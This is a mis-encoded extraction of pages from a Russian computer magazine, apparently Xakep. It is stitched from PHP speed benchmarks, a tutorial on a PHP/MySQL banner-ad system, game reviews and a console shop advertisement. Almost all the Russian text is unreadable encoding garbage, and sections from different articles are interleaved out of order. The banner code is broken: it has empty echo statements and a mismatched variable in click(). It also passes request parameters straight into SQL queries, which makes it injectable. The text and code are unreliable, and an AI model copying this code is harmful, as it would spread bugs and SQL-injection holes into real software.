Êàê îêàçàëîñü, php ìåäëåííî îáðàáàòûâàåò ïåðåìåííûå, ðàñïîëîæåííûå âíóòðè êàâû÷åê.<br />

Òàêàÿ âðîäå áû ìåëî÷ü ìîæåò ñýêîíîìèòü äî 40% ïðîöåññîðíîãî âðåìåíè!<br />

88


Òåñò áûë ñëåäóþùèé: â öèêëå ñ îäíîé òûñÿ÷üþ èòåðàöèé ê ñòðîêå $b ïðèêëåèâàåòñÿ<br />

ñòðîêà $a, ïîñëå ÷åãî öèêë ïîâòîðÿåòñÿ. Ðåçóëüòàòû íàëèöî:<br />

Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />

$a.$b 0.11631400 60.39%<br />

"$a"."$b" 0.19261100 100%<br />

3) Èñïîëüçîâàíèå perl-îðèåíòèðîâàííûõ ðåãóëÿðíûõ âûðàæåíèé - óñêîðåíèå â íåñêîëüêî<br />

ðàç.<br />

Ðåãóëÿðíûå âûðàæåíèÿ â php ñóùåñòâóþò êàê â âèäå ñàìîñòîÿòåëüíûõ ôóíêöèé, òàê<br />

è â âèäå ïðîöåäóð, ÷àñòè÷íî çàèìñòâîâàííûõ ó perl. Ðåçóëüòàòû òåñòèðîâàíèÿ ïîêàçàëè,<br />

÷òî ïîñëåäíèå íà áîëüøèíñòâå ñòðîê ðàáîòàþò âî ìíîãî ðàç áûñòðåå! Òåñò<br />

çàêëþ÷àëñÿ â çàìåíå ñèìâîëà "!" íà "*" â 3-êèëîáàéòíîì òåêñòå. Ðåçóëüòàòû:<br />

ïðåäñòàâëÿåòñÿ ñëåäóþùèì îáðàçîì.<br />

1) show.inc.php - â íåì îïèñàíû ôóíêöèè âçàèìîäåéñòâèÿ ñ ïîñåòèòåëÿìè ñàéòà:<br />

showbanner(pid) - ïîêàçûâàåò áàííåð íîìåð pid, click(pid) - îñóùåñòâëÿåò ðåäèðåêò<br />

ïî áàííåðíîé ññûëêå.<br />

2) show.php áóäåò ïîäêëþ÷àòüñÿ â ìåñòå, êóäà ñëåäóåò âñòàâèòü áàííåð, ïðèíèìàÿ<br />

ïàðàìåòð - "òèï" áàííåðà. Çäåñü ïîäðàçóìåâàþòñÿ ïðåæäå âñåãî ðàçìåðû êàðòèíêè.<br />

3) users.inc.php - ìîäóëüíûé ôàéë, â êîòîðîì îïèñûâàþòñÿ ôóíêöèè âçàèìîäåéñòâèÿ<br />

ñ ðåêëàìîäàòåëåì. Ýòî: login(login, passwd) - ôóíêöèÿ âõîäà â ñèñòåìó, useredit(uid)<br />

- ôóíêöèÿ ðåäàêòèðîâàíèÿ ïàðàìåòðîâ ïîëüçîâàòåëÿ, banneradd() - äîáàâëåíèå<br />

íîâîãî áàííåðà, banneredit(bid) - ðåäàêòèðîâàíèå áàííåðà, baneerdel(bid) - óäàëåíèå<br />

áàííåðà, showstats(bid, mod) - ñòàòèñòèêà âèäà mod ïî áàííåðó pid, è ò.ä.<br />

Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />

Ereg_replace 0.00007301 21.47%<br />

Preg_replace 0.00034000 100%<br />

Ñ ðîñòîì îáúåìà òåñòà ðàçíèöà âî âðåìåíè ðàáîòû ýòèõ ôóíêöèé íåëèíåéíî âîçðàñòàåò.<br />

Ýòî íàâîäèò íà ìûñëü î òîì, ÷òî ñ ðåàëèçàöèåé ýòèõ ôóíêöèé ó php áîëüøèå<br />

ïðîáëåìû. Áëàãî, âî âñå ñîâðåìåííûå âåðñèè ÿçûêà âñòðîåíû perl-çàèìñòâîâàííûå<br />

ïðîöåäóðû, ÷òî, â ïðèíöèïå, ðåøàåò ýòó ïðîáëåìó.<br />

4) "Áûñòðûé" ñèíòàêñèñ ðàáîòû ñ ìàññèâàìè - óñêîðåíèå äî 50%.<br />

Ôóíêöèè ñîðòèðîâêè ìàññèâîâ â php ðåàëèçîâàíû íà óäèâëåíèå õîðîøî - ñòàíäàðòíàÿ<br />

sort âåñüìà øóñòðî óïîðÿäî÷èâàåò ìàññèâ â íóæíîì íàïðàâëåíèè. ß íàïèñàë<br />

ñîáñòâåííûå ôóíêöèè ïóçûðüêîâîé è øåéêåðíîé ñîðòèðîâîê, à òàêæå áûñòðîé<br />

ñîðòèðîâêè Õîàðà - âûèãðûø â ïðîèçâîäèòåëüíîñòè îêàçàëñÿ î÷åíü íåçíà÷èòåëüíûì,<br />

ïîðÿäêà ïÿòè ïðîöåíòîâ.<br />

Òåñò íà ìàññèâå èç ïðîèçâîëüíûõ ýëåìåíòîâ äàë âïîëíå îæèäàåìûå ðåçóëüòàòû:<br />

âïåðåä âûøëà ñîðòèðîâêà Õîàðà, çà íåé âïëîòíóþ ôóíêöèÿ sort(), øåéêåð è ïóçûðåê<br />

çàìåòíî ïîäîòñòàëè. Òàêèì îáðàçîì, ãåìîððîèòüñÿ, âûïèñûâàÿ íîâûå ôóíêöèè<br />

ñîðòèðîâêè, åäâà ëè ñòîèò, ò.ê. âûèãðûø î÷åíü íåáîëüøîé.<br />

Óäèâèëè ðåçóëüòàòû òåñòà íà àäðåñàöèþ ê ýëåìåíòàì ìàññèâà:<br />

Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />

$array[int]=$a 0.00044700 52.22%<br />

$array[string]=$a 0.00085600 100.00%<br />

$array["string"]=$a 0.00046100 53.85%<br />

Êàê âèäíî, êîíñòðóêöèè ñ öåëî÷èñëåííîé èíäåêñàöèåé ìàññèâîâ ðàáîòàþò ïðèìåðíî<br />

â äâà ðàçà áûñòðåå, ÷åì àíàëîãè÷íûå âûðàæåíèÿ ñ òåêñòîâûìè (äëèíà èõ<br />

ìàëà) êëþ÷àìè _áåç_ êàâû÷åê. Åñëè æå âçÿòü êëþ÷ â êàâû÷êè, âðåìÿ ðàáîòû ýòèõ<br />

âûðàæåíèé âûðàâíèâàåòñÿ.<br />

Çà äåëî!<br />

Ïîñëå òàêîé ïîäðîáíîé òåîðåòè÷åñêîé ñïðàâêè, ïîäêðåïëåííîé âåñüìà íàãëÿäíûìè<br />

òåñòàìè, ìîæíî ïðèñòóïàòü è ê ñîçäàíèþ ñèñòåìû. Õîòåëîñü áû â îñòàâøåéñÿ<br />

÷àñòè ñòàòüè ðàññêàçàòü î ïðèíöèïàõ ïîñòðîåíèÿ áàííåðíîé ñèñòåìû è îïðåäåëèòü<br />

ñòðóêòóðó åå îêðóæåíèÿ, ò.å. òàáëèö ÁÄ. Íàø äâèæîê áóäåò ïîçâîëÿòü îòîáðàæàòü<br />

ðåêëàìó íåñêîëüêèõ êëèåíòîâ, êàæäûé èç êîòîðûõ ìîæåò ïîêàçûâàòü íà ñàéòå n<br />

áàííåðîâ ðàçëè÷íûõ ðàçìåðîâ. À âîò òàðãåòèíã, äàæå ñàìûé ïðèìèòèâíûé, ìû<br />

çäåñü îïèñûâàòü íå áóäåì, ââèäó îáúåìíîñòè êîäà. ß ëèøü íàìåêíó, êàê ñàìîìó<br />

äîáàâèòü ýòó áåñöåííóþ âîçìîæíîñòü.<br />

Ñîçäàíèå òàáëèö ÁÄ ÷åðåç mysql-monitor<br />

4) users.php - àäìèíèñòðàòèâíûé ñêðèïò äëÿ ðåêëàìîäàòåëåé. ×åðåç íåãî îíè ñìîãóò<br />

óïðàâëÿòü ïîêàçàìè ñâîèõ áàííåðîâ íà ñàéòå.<br />

5) admin.inc.php - ìîäóëü àäìèíèñòðàòèâíîãî ñêðèïòà. Îïðåäåëÿåò ôóíêöèè: login -<br />

âõîä â ñèñòåìó, useradd() - äîáàâëåíèå íîâîãî þçåðà, userdel(uid) - óäàëåíèå ïîëüçîâàòåëÿ<br />

uid, seredit(uid) - ðåäàêòèðîâàíèå ïàðàìåòðîâ ïîëüçîâàòåëÿ uid.<br />

Íà ñåãîäíÿ âñå.  ëèñòèíãå ïðèâåäåíû äâå ïîäðîáíî ïðîêîììåíòèðîâàííûå êëþ÷åâûå<br />

ôóíêöèè èç ôàéëà show.php.inc. Öåëèêîì îí ëåæèò íà CD è íà ìîåì ñàéòå.<br />

Ôóíêöèÿ showbanner<br />

function showbanner($bid) //Ôóíêöèÿ, ïîêàçûâàþùàÿ áàííåð $pid<br />

{<br />

$sq=mysql_query("select src,type,uid from banners where bid='$bid'");<br />

// âûáîðêà ïîëåé src, type è uid èç òàáëèöû banners ïî èäåíòèôèêàòîðó bid. Ìîæíî<br />

áûëî íàïèñàòü select *, ÷òî âåðíóëî áû âñå ïîëÿ çàïèñè, íî âñå íàì è íå íóæíû - à<br />

çà÷åì ðàñõîäîâàòü ïàìÿòü íà íåíóæíûå äàííûå<br />

if(mysql_num_rows($sq) == 1) //Åñëè áàííåð bid åñòü, è ïðè÷åì òîëüêî îäèí<br />

{<br />

$banner=mysql_fetch_array($sq);<br />

//Âûâîäèì html-òåãè, ïîêàçûâàþùèå êàðòèíêó è ñîçäàþùèå íà íåå ññûëêó<br />

echo "";<br />

//Çàïðîñ íà ïîëó÷åíèå ñòîèìîñòè òûñÿ÷è ïîêàçîâ áàííåðîâ ýòîãî òèïà<br />

$sq=mysql_query("select price from types where type='$banner["type"]'");<br />

$type=mysql_fetch_array($sq);<br />

$type["price"]=$type["price"]/1000; //Ñòîèìîñòü îäíîãî ïîêàçà<br />

mysql_query("update balance set usd=usd-$type["price"] where uid='$banner["uid"]'");<br />

//Ñíèìàåì ñî ñ÷åòà ïîëüçîâàòåëÿ äåíüãè çà ïîêàç áàííåðà<br />

mysql_query("update stats set hits=hits+1 where bid='$bid'");<br />

// Äîáàâëÿåì â òàáëèöó ñî ñòàòèñòè÷åñêèìè äàííûìè èíôîðìàöèþ î ïîêàçå<br />

} //Åñëè èíôîðìàöèè î áàííåðå $bid íåò â òàáëèöå,<br />

ïîêàçûâàåì áàííåð ñ bid=1 - ñèñòåìíûé áàííåð-çàãëóøêà, âåäóùèé íà ãëàâíûé<br />

ñàéò ñèñòåìû<br />

else { $sq=mysql_query("select src from banners where bid='1'");<br />

echo "";<br />

}<br />

}<br />

PHP expert Editor<br />

Èòàê, òàáëèöû ÁÄ.<br />

Ñàìàÿ ãëàâíàÿ - users: uid - èäåíòèôèêàòîð þçåðà; login; password; email; fname -<br />

èìÿ; org - îðãàíèçàöèÿ; telephone.<br />

Balance: uid; usd - áàëàíñ.<br />

Banners: bid - id áàííåðà, uid, link - àäðåñ, êóäà âåäåò áàííåð, src - àäðåñ, ïî êîòîðîìó<br />

õðàíèòñÿ ñàì áàííåð, tablename - èìÿ òàáëèöû, ãäå õðàíèòñÿ ñòàòèñòèêà ïî<br />

áàííåðó, type - "òèï" áàííåðà.<br />

Types: type - "òèï" áàííåðà, price - öåíà çà 1000 ïîêàçîâ.<br />

Äèíàìè÷åñêè, ïîñëå äîáàâëåíèÿ êàæäîãî áàííåðà, áóäåò ñîçäàâàòüñÿ òàáëèöà, â<br />

êîòîðîé õðàíèòñÿ ñòàòèñòèêà ïî áàííåðó - êîëè÷åñòâî êëèêîâ è ïîêàçîâ.<br />

Ïîñëå ñîçäàíèÿ âñåõ òàáëèö (sql-çàïðîñû äëÿ ýòîãî òû íàéäåøü íà äèñêå èëè<br />

http://nikitos.inc.ru), ñàìîå âðåìÿ îïðåäåëèòü äëÿ ñåáÿ ñòðóêòóðó ñèñòåìû. Ìíå îíà<br />

function click($pid)//Ôóíêöèÿ, îáðàáàòûâàþùàÿ êëèê ïî áàííåðó<br />

{<br />

$sq=mysql_query("select link from banners where bid='$bid'"); //Ïîëó÷àåì ññûëêó, íà<br />

êîòîðóþ íàäî ïåðåéòè<br />

$li=mysql_fetch_array($sq);<br />

mysql_query("update stats set clicks=clicks+1 where pid='$pid'"); //Äîáàâëÿåì â<br />

ñòàòèñòè÷åñêóþ òàáëèöó èíôîðìàöèþ î êëèêå<br />

echo " "; //Îñóùåñòâëÿåì ðåäèðåêò íà ñàéò ðåêëàìîäàòåëÿ<br />

}<br />

89


Þíèòû<br />

ÇÀË ÑÓÄÀ<br />

Stepan Ilyin aka Step (step@real.xakep.ru)<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Warrior Kings: Battles<br />

1503 A.D.: The New World<br />

ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

RTS<br />

WK, Medieval: Total War<br />

Black Cactus/Empire Interactive<br />

P2-400(P3-1000), 128(256), 3D<br />

LAN, èíåò<br />

Ìåæäîóñîáíûìè âîéíàìè íûí÷å<br />

íèêîãî íå óäèâèøü. Êàê îáû÷íî,<br />

íåêîãäà åäèíîå êîðîëåâñòâî<br />

ðàçäåëèëîñü íà 22 ÷àñòè, êîòîðûìè<br />

óïðàâëÿþò âîåííûå ãåíåðàëû.<br />

Äóìàþ, î ñâîåé ðîëè â<br />

ýòîé ïüåñå òû äîãàäûâàåøüñÿ.<br />

Êàçàëîñü áû - î÷åðåäíàÿ RTS ñ<br />

ëèíåéíûé ñþæåòîì, à íåò...<br />

«Warrior Kings: Battles» ïðèÿòíî<br />

óäèâèëè íîâîé êîíöåïöèåé óïðàâëåíèÿ,<br />

îòëè÷íûì äâèæêîì è<br />

ñàìîå ãëàâíîå - ÷åñòíûì, íî<br />

î÷åíü óìíûì AI.<br />

RTS<br />

1602 A.D., Settlers 1-4<br />

Sunflowers Interactive/Electronic Arts<br />

Ð3-500(P3-750), 128(256)<br />

Îáëîìèñü<br />

Ñìåñü RTS è ýêîíîìè÷åñêîãî ñèìóëÿòîðà.<br />

Õîðîøî ýòî èëè ïëîõî<br />

Ñ îäíîé ñòîðîíû - êëåâî! Òâîÿ<br />

áàçà - íå êó÷êà ðàçáðîñàííûõ áàðàêîâ,<br />

ôåðì è äðóãèõ çäàíèé, à<br />

íàñòîÿùèé ãîðîä ñî âñåìè ïîëàãàþùèìèñÿ<br />

àòðèáóòàìè. Îäíàêî<br />

åñòü è äðóãàÿ ñòîðîíà. Äî íà÷àëà<br />

âîåííûõ äåéñòâèé ìîæåò ïðîéòè<br />

÷àñèêà, ñêàæåì, äâà èëè òðè... Â<br />

ïåðâûé ðàç íå çàìå÷àåøü, íî ïîòîì<br />

óòîìëÿåò. Ïðè÷åì ñèëüíî...<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Inline Skating<br />

ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />

Àðêàäà<br />

Tony Hawk’s Pro Skater 3<br />

MAUS Software/Koch Media<br />

P133(166), 32(64), 3D<br />

Îáëîìèñü<br />

Ðîëåðû, ñêåéòåðû - ýõ, ñêîëüêî<br />

èõ ñåé÷àñ íà óëèöàõ. Ïîýòîìó èãðóøêè<br />

òèïà Inline Skating î÷åíü<br />

àêòóàëüíû. Äà è äåëàþòñÿ ïðîñòî.<br />

Áåðåòñÿ äâèæîê êàêîé-íèáóäü<br />

ïðîñòåíüêîé êîíñîëüíîé àðêàäû,<br />

ïîðòèðóåòñÿ íà PC, ðèñóþòñÿ<br />

ïåñòðûå îäåæêè ãîðå-ýêñòðåìàëîâ<br />

- è âïåðåä íà êîíâåéåð. Áåçíàäåæíî<br />

çàáûòûå çàêîíû ôèçèêè<br />

è íóëåâîé ãåéìïëåé âûçûâàþò<br />

ðâîòíûé ðåôëåêñ óæå ïîñëå 30<br />

ìèíóò èãðû...<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Breath of Fire 4<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

RPG<br />

FF7, Grandia 2<br />

Capcom/Capcom<br />

P-233(P-350), 64(128), 3D<br />

Îáëîìèñü<br />

Î÷åðåäíîé ïîðò ñ PS2. Ïåðâîå<br />

âïå÷àòëåíèå íå èç ëó÷øèõ: óáîãàÿ<br />

ãðàôèêà, ïðèìèòèâíîå óïðàâëåíèå,<br />

ñëîâîì - óáîæåñòâî. Îäíàêî,<br />

ïîñèäåâ ïàðó âå÷åðêîâ, íàõîäèøü<br />

ñïðÿòàííûå êîçûðè èãðû:<br />

èíòåðåñíåéøèé ñòîðèëàéí,<br />

îãðîìíîå êîëè÷åñòâî ìèíè-èãð,<br />

ïðîäóìàííûå äî ìåëî÷åé îñîáåííîñòè<br />

ïåðñîíàæåé è çàõâàòûâàþùèå<br />

áîè. Î÷åðåäíîé ïðèìåð<br />

òîãî, êàê ïîõàáíàÿ ðåàëèçàöèÿ<br />

ìîæåò èñïîðòèòü âåëèêîëåïíóþ<br />

çàäóìêó...<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Vietcong<br />

Òàêòè÷åñêèé øóòåð<br />

H&D, MoHAA, LoS<br />

Pterodon, Illusion Softworks/Gathering<br />

P3-600(P4-1700), 128(512), 3D<br />

LAN, èíåò<br />

Ñóïåðøóòåð íà âîåííóþ òåìó.<br />

Íàêîíåö-òî ðàçðàáîò÷èêè îòîøëè<br />

îò ñëåãêà íàäîåâøåé òåìû áîðüáû<br />

ñ íàöèçìîì è ïåðåíåñëè íàñ<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

â Àçèþ. Äæóíãëè, ëèàíû, ïîâñþäó<br />

ãðÿçü, ñëÿêîòü, èçíóðÿþùåå<br />

ñîëíöå. Â ëþáîé ìîìåíò èç çàñàäû<br />

ìîæåò âûñêî÷èòü îòðÿä<br />

ïðîòèâíèêà èëè, ÷òî åùå õóæå,<br />

ðàçäàòüñÿ çâóê âûñòðåëà ñíàéïåðñêîé<br />

âèíòîâêè. Âîò è îáîðâàëàñü<br />

åùå òîëüêî íà÷àâøàÿñÿ âîåííàÿ<br />

êàðüåðà... Çàõâàòûâàåò íå<br />

íà øóòêó!<br />

55 90 Íüþñû 1 Ôåððóì 2 PC_Zone 3 X-Ñòèëü 4 Âçëîì


ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />

ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />

$149.99<br />

Êîñìè÷åñêàÿ àðêàäà<br />

Star Control, Asteroids<br />

MoonPod/MoonPod<br />

P2-300(P2-450), 64(128), 3D<br />

Îáëîìèñü<br />

Èçóìèòåëüíàÿ êîìáèíàöèÿ ëåòàëêè<br />

è êâåñòà. Íåñìîòðÿ íà ìîíîòîííóþ<br />

ìóçûêó è, ïðÿìî ñêàæåì,<br />

íå ñàìîå âûñîêîå ðàçðåøåíèå<br />

(640x480), èãðóøêà çàñëóæèâàåò<br />

ñàìûõ ëåñòíûõ îòçûâîâ. Îòëè÷íî<br />

ïðîðèñîâàííûå ïåðñîíàæè,<br />

íåñòàíäàðòíûå è î÷åíü óäîáíûå<br />

íîâîââåäåíèÿ â óïðàâëåíèè<br />

è âåäåíèè áîÿ, ïëþñ çàõâàòûâàþùèé<br />

ãåéìïëåé çàñòàâëÿþò çàáûòü<br />

îáî âñåõ íåäîñòàòêàõ. Ìíå<br />

î÷åíü ïîíðàâèëîñü!<br />

Òåõíè÷åñêèå ïàðàìåòðû:<br />

Ïðîöåññîð: 32-Bit ARM<br />

Ïàìÿòü: 32-96 KB VRAM (â CPU), 256 KB<br />

Ýêðàí: 2.9’’ TFT c îòðàæàþùåé ìàòðèöåé (40.8<br />

ìì õ 61.2 ìì)<br />

Ðàçðåøåíèå è öâåò: 240õ160 ïèêñåëåé,<br />

32.768 âîçìîæíûõ öâåòîâ<br />

Ðàçìåðû (ØõÂõÒ): 144.5 õ 82 õ 24.5 ìì<br />

Âåñ: 140 ã<br />

Ïèòàíèå: 2 áàòàðåè êëàññà ÀÀ (15 ÷àñîâ)<br />

Íîñèòåëè äàííûõ: êàðòðèäæè<br />

Äðóãîå: Ñòåðåîçâóê, ñîâìåñòèì ñ èãðàìè äëÿ<br />

Game Boy è Game Boy Color<br />

$95.99<br />

Òåõíè÷åñêèå ñïåöèôèêàöèè òîëüêî äëÿ GBA SP:<br />

* Èíòåãðèðîâàííàÿ ïîäñâåòêà LCD ýêðàíà* Âõîäÿùàÿ â êîìïëåêò ïåðåçàðÿæàåìàÿ Lithium<br />

Ion áàòàðåÿ ñïîñîáíàÿ ðàáîòàòü 10 ÷àñîâ áåçîñòàíîâî÷íîé èãðû çàðÿæàåìàÿ âñåãî 3 ÷àñà<br />

Starscape<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

äàæå èíòåðåñíî, íî ïîòîì... Çàãàäêè<br />

è ãîëîâîëîìêè ñòàíîâÿòñÿ<br />

âñå ãëóïåå è ãëóïåå, íåêîòîðûå<br />

èç íèõ âîîáùå îêàçûâàþòñÿ ëèøåííûìè<br />

ñìûñëà. Òî åñòü èãðó<br />

ïðèõîäèòñÿ ïðîõîäèòü ìåòîäîì<br />

òûêà. Áûòü ìîæåò, òàêîé ñïîñîá<br />

èãðû êîãî-òî è ïðèêàëûâàåò, íî<br />

òîëüêî íå ìåíÿ.<br />

5 Êîäèíã 6 Hack-Faq 7<br />

Âëÿïëè!<br />

Àäâåí÷óðà<br />

Áðàòüÿ Ïèëîòû<br />

Streko-Graphics/Ìàãíàìåäèÿ<br />

P2-300(P3-600), 64<br />

Îáëîìèñü<br />

Íà ïåðâûé âçãëÿä «Âëÿïëè!»<br />

ïðåäñòàâëÿåò ñîáîé îòëè÷íî<br />

ïðîðèñîâàííóþ àäâåí÷óðó, ïðè-<br />

÷åì äëÿ äåòåé. Èãðàòü âíà÷àëå<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />

$59.99 $52.99 $59.99<br />

Golden Sun: The<br />

Lost Age<br />

The Lost Vikings<br />

The Legend Of<br />

Zelda: A Link to<br />

the Past<br />

Donkey Kong<br />

Country<br />

Castlevania: Aria<br />

of Sorrow<br />

$65.99 $59.99 $63.99<br />

Tom Clancy's<br />

Splinter Cell<br />

Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />

e-mail: sales@e-shop.ru<br />

Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />

ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />

ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />

(095) 928-6089 (095) 928-0360 (095) 928-3574


Þíèòû<br />

ÇÀË ÑÓÄÀ<br />

Stepan Ilyin aka Step (step@real.xakep.ru)<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Rainbow Six: Raven Shield<br />

ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />

Òàêòè÷åñêèé FPS<br />

R6, Ghost Recon, SWAT3<br />

Ubi Soft Montreal/Ubi Soft<br />

P3-600(P3-1300), 128(256), 3D<br />

LAN, èíåò<br />

Íèêàêîé ðåâîëþöèè! Î÷åðåäíîé<br />

àääîí, íî êàêîé! Ðàçðàáîò÷èêàì<br />

íàêîíåö-òî óäàëîñü ãðàìîòíî<br />

ñîâìåñòèòü çàõâàòûâàþùèé ýêøåí<br />

è ñëîæíûé ïðîöåññ ïðîäóìûâàíèÿ<br />

òàêòèêè îïåðàöèé. Ïîñëåäíèå<br />

çàñëóæèâàþò îòäåëüíîãî<br />

óïîìèíàíèÿ. Çäåñü è îñâîáîæäåíèå<br />

çàëîæíèêîâ, è óñòàíîâêà<br />

ïðîñëóøèâàþùåãî îáîðóäîâàíèÿ,<br />

è óíè÷òîæåíèå òåððîðèñòîâ,<br />

è âñå-âñå-âñå. Ïî-íàñòîÿùåìó<br />

çàõâàòûâàþùàÿ èãðóøêà, ïîáîëüøå<br />

áû òàêèõ!<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Gun Metal<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

Àðêàäà<br />

Incoming, Expendable<br />

Yeti Studios/Yeti Studios<br />

P3-700(P4-1.4GHz), 128(256), 3D<br />

--<br />

Î÷åðåäíàÿ èãðóøêà äëÿ ðåëàêñàöèè.<br />

Ðàçðàáîò÷èêè ðåàëèçîâàëè<br />

âñå äî áåçóìèÿ ïðîñòî, ñèìïàòè÷íî<br />

è ñàìîå ãëàâíîå - áåçáàøåííî.<br />

Äàâíÿÿ òåìà ðîáîòîâòðàíñôîðìåðîâ<br />

ïîìîãëà ñëèòü<br />

äâà áëèçêèõ, íî â òî æå âðåìÿ<br />

î÷åíü ðàçíûõ æàíðà - ëåòàëêó è<br />

ñèìóëÿòîð ðîáîòà. Äà, ïóñêàé àðêàäà<br />

(êàê-íèêàê, ïðèñòàâî÷íûé<br />

ïîðò), çàòî çàõâàòûâàåò. Íåò íóæäû<br />

òðàòèòü âðåìÿ íà èçó÷åíèå óïðàâëåíèÿ,<br />

ïðîñòî âîçüìè äæîéñòèê<br />

â ðóêè, è âïåðåä!<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Big Mutha Truckers<br />

«Ãîíî÷êè»<br />

Äàëüíîáîéùèêè<br />

Eutechnyx/Empire Interactive<br />

P3-500(P3-800), 96(128), 3D<br />

Îáëîìèñü<br />

Âåñüìà ñèìïàòè÷íûå, õîòÿ è íóäíîâàòûå<br />

ãîíêè. Ñþæåò, ïî âñåì<br />

çàêîíàì æàíðà, âåñüìà íåêàçèñò,<br />

õîòÿ ñ äðóãîé ñòîðîíû - ÷òî òóò<br />

ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />

ìîæíî ïðèäóìàòü Ïåðåâîçè òîâàðû<br />

èç îäíîãî ìåñòà â äðóãîå,<br />

ñòàðàéñÿ èçáåãàòü àâàðèé è íå<br />

íàðûâàòüñÿ íà «ëåãàâûõ». Âîò è<br />

âñÿ ñóòü èãðû. Äîáàâü ê ýòîìó àðêàäíîå<br />

óïðàâëåíèå, îòëè÷íûå ñàóíäòðåêè<br />

è èçîáèëèå îòêðûâàþùèõñÿ<br />

ïåéçàæåé. Ñòîèò ëè èãðàòü<br />

Íà ëþáèòåëÿ...<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Enclave<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

TPS<br />

Severance<br />

Starbreeze Studios/Vivendi Universal Int.<br />

P3-600(P4-1,5GHz, 192(256), 3D<br />

Îáëîìèñü<br />

Êëàññè÷åñêèé TPS âî âñåé êðàñå<br />

æàíðà. Äâå îðèãèíàëüíûå êàìïàíèè,<br />

èçîáèëèå ìîíñòðîâ, îðóæèÿ,<br />

ëîêàöèé è ïåéçàæåé îáåñïå÷èâàþò<br />

èãðå îòëè÷íûé ãåéìïëåé, êîòîðûé<br />

óäèâèò è ïîðàäóåò íå òîëüêî<br />

ôàíàòîâ æàíðà, íî è êàçóàëîâ.<br />

Îñîáåííî ïîíðàâèëèñü ìíîãî÷èñëåííûå<br />

áîññû. Êàæäûé èç íèõ<br />

óíèêàëüíûé, îäíîé ñòðàòåãèåé ñ<br />

íèìè íå ñïðàâèøüñÿ. Ïðèõîäèòñÿ<br />

ïðàêòèêîâàòüñÿ, íåçàìåòíî äëÿ<br />

ñåáÿ çàèãðûâàÿñü.<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />

Paris-Marseille Racing 2<br />

Àðêàäíûå ãîíêè<br />

US Racer, LR 2<br />

Davilex/Infogrames<br />

P3-500(P3-700), 128(256), 3D<br />

Split-screen<br />

Èçìåíåíèé ïî ñðàâíåíèþ ñ ïåðâîé<br />

÷àñòüþ ïðàêòè÷åñêè íèêàêèõ.<br />

Âñå òàêîé æå äîõëûé äâèæîê, êîòîðûé<br />

óñòàðåë åùå ãîäà äâà-òðè<br />

íàçàä, à óæ ñåé÷àñ è âîâñå âûãëÿäèò<br />

àðõàè÷íî. Íà ýòîì óæå<br />

ìîæíî ïîñòàâèòü òî÷êó. Íî äëÿ<br />

ïîëíîòû êàðòèíû îòìå÷ó óæàñíóþ<br />

ôèçèêó, íåâåðîÿòíî ïðèìèòèâíûå<br />

ìîäåëè òðàíñïîðòà, êîòîðûå<br />

